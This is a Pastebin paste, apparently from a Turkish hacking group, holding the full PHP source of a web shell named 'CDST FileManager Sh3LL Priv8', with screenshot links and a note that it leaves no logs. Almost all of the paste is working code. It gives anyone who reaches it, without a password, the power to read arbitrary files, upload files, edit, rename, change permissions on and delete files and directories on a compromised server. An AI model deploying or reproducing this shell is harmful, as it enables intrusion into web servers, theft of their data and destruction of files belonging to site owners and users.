Advertisement
KingSkrupellos

CDST FileManager Sh3LL Priv8

Sep 15th, 2017
192
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.19 KB | None | 0 0
  1. CDST Cyberizm Digital Security Team Dosya Yöneticisi Shell PHP Kodları
  2.  
  3. Shell'den Ekran Görüntüsü =>
  4.  
  5. [img]http://i.hizliresim.com/7qLBjY.png[/img]
  6.  
  7. [img]http://i.hizliresim.com/r3D0Gm.png[/img]
  8.  
  9. DipNot : Kesinlike Logsuz'dur. Kendinize göre editleyebilirsiniz. Ama kesinlikle Cyberizm'e aittir.
  10.  
  11. [hide][php]<?php
  12. set_time_limit(0);
  13. error_reporting(0);
  14.  
  15. if(get_magic_quotes_gpc()){
  16. foreach($_POST as $key=>$value){
  17. $_POST[$key] = stripslashes($value);
  18. }
  19. }
  20. echo '<!DOCTYPE HTML>
  21. <HTML>
  22. <HEAD>
  23. <link href="" rel="stylesheet" type="text/css">
  24. <title> CyBeRizM Dosya Yöneticisi Sh3LL </title>
  25. <center><img src="http://i.hizliresim.com/3vnXyj.gif"></center>
  26. <style>
  27. body{
  28. font-family: "Racing Sans One", cursive;
  29. background-color: #e6e6e6;
  30. text-shadow:0px 0px 1px #757575;
  31. }
  32. #content tr:hover{
  33. background-color: #636263;
  34. text-shadow:0px 0px 10px #fff;
  35. }
  36. #content .first{
  37. background-color: silver;
  38. }
  39. #content .first:hover{
  40. background-color: silver;
  41. text-shadow:0px 0px 1px #757575;
  42. }
  43. table{
  44. border: 1px #000000 dotted;
  45. }
  46. H1{
  47. font-family: "Rye", cursive;
  48. }
  49. a{
  50. color: #000;
  51. text-decoration: none;
  52. }
  53. a:hover{
  54. color: #fff;
  55. text-shadow:0px 0px 10px #ffffff;
  56. }
  57. input,select,textarea{
  58. border: 1px #000000 solid;
  59. -moz-border-radius: 5px;
  60. -webkit-border-radius:5px;
  61. border-radius:5px;
  62. }
  63. </style>
  64. </HEAD>
  65. <BODY>
  66. <H1><center> Cyberizm.Org / KingSkrupellos </center></H1>
  67. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  68. <tr><td>Nerde miyim? : ';
  69. if(isset($_GET['path'])){
  70. $path = $_GET['path'];
  71. }else{
  72. $path = getcwd();
  73. }
  74. $path = str_replace('\\','/',$path);
  75. $paths = explode('/',$path);
  76.  
  77. foreach($paths as $id=>$pat){
  78. if($pat == '' && $id == 0){
  79. $a = true;
  80. echo '<a href="?path=/">/</a>';
  81. continue;
  82. }
  83. if($pat == '') continue;
  84. echo '<a href="?path=';
  85. for($i=0;$i<=$id;$i++){
  86. echo "$paths[$i]";
  87. if($i != $id) echo "/";
  88. }
  89. echo '">'.$pat.'</a>/';
  90. }
  91. echo '</td></tr><tr><td>';
  92. if(isset($_FILES['file'])){
  93. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  94. echo '<font color="green">Dosya Yüklendi</font><br />';
  95. }else{
  96. echo '<font color="red">Dosya Yüklenemedi</font><br />';
  97. }
  98. }
  99. echo '<form enctype="multipart/form-data" method="POST">
  100. Dosya Yükle : <input type="file" name="file" />
  101. <input type="submit" value="Yükle" />
  102. </form>
  103. </td></tr>';
  104. if(isset($_GET['filesrc'])){
  105. echo "<tr><td>Current File : ";
  106. echo $_GET['filesrc'];
  107. echo '</tr></td></table><br />';
  108. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  109. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  110. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  111. if($_POST['opt'] == 'chmod'){
  112. if(isset($_POST['perm'])){
  113. if(chmod($_POST['path'],$_POST['perm'])){
  114. echo '<font color="green">Tamamdır!</font><br />';
  115. }else{
  116. echo '<font color="red">Malesef!</font><br />';
  117. }
  118. }
  119. echo '<form method="POST">
  120. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  121. <input type="hidden" name="path" value="'.$_POST['path'].'">
  122. <input type="hidden" name="opt" value="chmod">
  123. <input type="submit" value="Go" />
  124. </form>';
  125. }elseif($_POST['opt'] == 'rename'){
  126. if(isset($_POST['newname'])){
  127. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  128. echo '<font color="green">Kaydedildi.</font><br />';
  129. }else{
  130. echo '<font color="red">Kaydedilemedi.</font><br />';
  131. }
  132. $_POST['name'] = $_POST['newname'];
  133. }
  134. echo '<form method="POST">
  135. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  136. <input type="hidden" name="path" value="'.$_POST['path'].'">
  137. <input type="hidden" name="opt" value="rename">
  138. <input type="submit" value="Go" />
  139. </form>';
  140. }elseif($_POST['opt'] == 'edit'){
  141. if(isset($_POST['src'])){
  142. $fp = fopen($_POST['path'],'w');
  143. if(fwrite($fp,$_POST['src'])){
  144. echo '<font color="green">Kaydedildi.</font><br />';
  145. }else{
  146. echo '<font color="red">Kaydedilemedi.</font><br />';
  147. }
  148. fclose($fp);
  149. }
  150. echo '<form method="POST">
  151. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  152. <input type="hidden" name="path" value="'.$_POST['path'].'">
  153. <input type="hidden" name="opt" value="edit">
  154. <input type="submit" value="Go" />
  155. </form>';
  156. }
  157. echo '</center>';
  158. }else{
  159. echo '</table><br /><center>';
  160. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  161. if($_POST['type'] == 'dir'){
  162. if(rmdir($_POST['path'])){
  163. echo '<font color="green">Kaydedildi</font><br />';
  164. }else{
  165. echo '<font color="red">Malesef</font><br />';
  166. }
  167. }elseif($_POST['type'] == 'file'){
  168. if(unlink($_POST['path'])){
  169. echo '<font color="green">Silindi.</font><br />';
  170. }else{
  171. echo '<font color="red">Silinemedi.</font><br />';
  172. }
  173. }
  174. }
  175. echo '</center>';
  176. $scandir = scandir($path);
  177. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  178. <tr class="first">
  179. <td><center>Dosya Adı</center></td>
  180. <td><center>Boyut</center></td>
  181. <td><center>İzinler</center></td>
  182. <td><center>Ayarlar</center></td>
  183. </tr>';
  184.  
  185. foreach($scandir as $dir){
  186. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  187. echo "<tr>
  188. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  189. <td><center>--</center></td>
  190. <td><center>";
  191. if(is_writable("$path/$dir")) echo '<font color="green">';
  192. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  193. echo perms("$path/$dir");
  194. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  195.  
  196. echo "</center></td>
  197. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  198. <select name=\"opt\">
  199. <option value=\"\"></option>
  200. <option value=\"delete\">Sil</option>
  201. <option value=\"chmod\">Dizin Yeri </option>
  202. <option value=\"rename\">Adı Değiştir</option>
  203. </select>
  204. <input type=\"hidden\" name=\"type\" value=\"dir\">
  205. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  206. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  207. <input type=\"submit\" value=\">\" />
  208. </form></center></td>
  209. </tr>";
  210. }
  211. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  212. foreach($scandir as $file){
  213. if(!is_file("$path/$file")) continue;
  214. $size = filesize("$path/$file")/1024;
  215. $size = round($size,3);
  216. if($size >= 1024){
  217. $size = round($size/1024,2).' MB';
  218. }else{
  219. $size = $size.' KB';
  220. }
  221.  
  222. echo "<tr>
  223. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  224. <td><center>".$size."</center></td>
  225. <td><center>";
  226. if(is_writable("$path/$file")) echo '<font color="green">';
  227. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  228. echo perms("$path/$file");
  229. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  230. echo "</center></td>
  231. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  232. <select name=\"opt\">
  233. <option value=\"\"></option>
  234. <option value=\"delete\">Sil</option>
  235. <option value=\"chmod\">Dizin</option>
  236. <option value=\"rename\">Adı Değiştir</option>
  237. <option value=\"edit\">Düzenle</option>
  238. </select>
  239. <input type=\"hidden\" name=\"type\" value=\"file\">
  240. <input type=\"hidden\" name=\"name\" value=\"$file\">
  241. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  242. <input type=\"submit\" value=\">\" />
  243. </form></center></td>
  244. </tr>";
  245. }
  246. echo '</table>
  247. </div>';
  248. }
  249. echo '<br />Only belongs to KingSkrupellos </font>, Recoded By <font color="red">KingSkrupellos / Cyberizm.Org |</font><br />Bilgi: <font color="red">http://www.cyberizm.org/</font>
  250. </BODY>
  251. </HTML>';
  252. function perms($file){
  253. $perms = fileperms($file);
  254.  
  255. if (($perms & 0xC000) == 0xC000) {
  256. // Socket
  257. $info = 's';
  258. } elseif (($perms & 0xA000) == 0xA000) {
  259. // Symbolic Link
  260. $info = 'l';
  261. } elseif (($perms & 0x8000) == 0x8000) {
  262. // Regular
  263. $info = '-';
  264. } elseif (($perms & 0x6000) == 0x6000) {
  265. // Block special
  266. $info = 'b';
  267. } elseif (($perms & 0x4000) == 0x4000) {
  268. // Directory
  269. $info = 'd';
  270. } elseif (($perms & 0x2000) == 0x2000) {
  271. // Character special
  272. $info = 'c';
  273. } elseif (($perms & 0x1000) == 0x1000) {
  274. // FIFO pipe
  275. $info = 'p';
  276. } else {
  277. // Unknown
  278. $info = 'u';
  279. }
  280.  
  281. // Owner
  282. $info .= (($perms & 0x0100) ? 'r' : '-');
  283. $info .= (($perms & 0x0080) ? 'w' : '-');
  284. $info .= (($perms & 0x0040) ?
  285. (($perms & 0x0800) ? 's' : 'x' ) :
  286. (($perms & 0x0800) ? 'S' : '-'));
  287.  
  288. // Group
  289. $info .= (($perms & 0x0020) ? 'r' : '-');
  290. $info .= (($perms & 0x0010) ? 'w' : '-');
  291. $info .= (($perms & 0x0008) ?
  292. (($perms & 0x0400) ? 's' : 'x' ) :
  293. (($perms & 0x0400) ? 'S' : '-'));
  294.  
  295. // World
  296. $info .= (($perms & 0x0004) ? 'r' : '-');
  297. $info .= (($perms & 0x0002) ? 'w' : '-');
  298. $info .= (($perms & 0x0001) ?
  299. (($perms & 0x0200) ? 't' : 'x' ) :
  300. (($perms & 0x0200) ? 'T' : '-'));
  301.  
  302. return $info;
  303. }
  304. ?>[/php][/hide]
  305.  
  306.  
  307. CDST Cyberizm Digital Security Team Dosya Yöneticisi Shell PHP Kodları Link =>
  308.  
  309. [hide]http://archive.is/qs5Nx[/hide]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement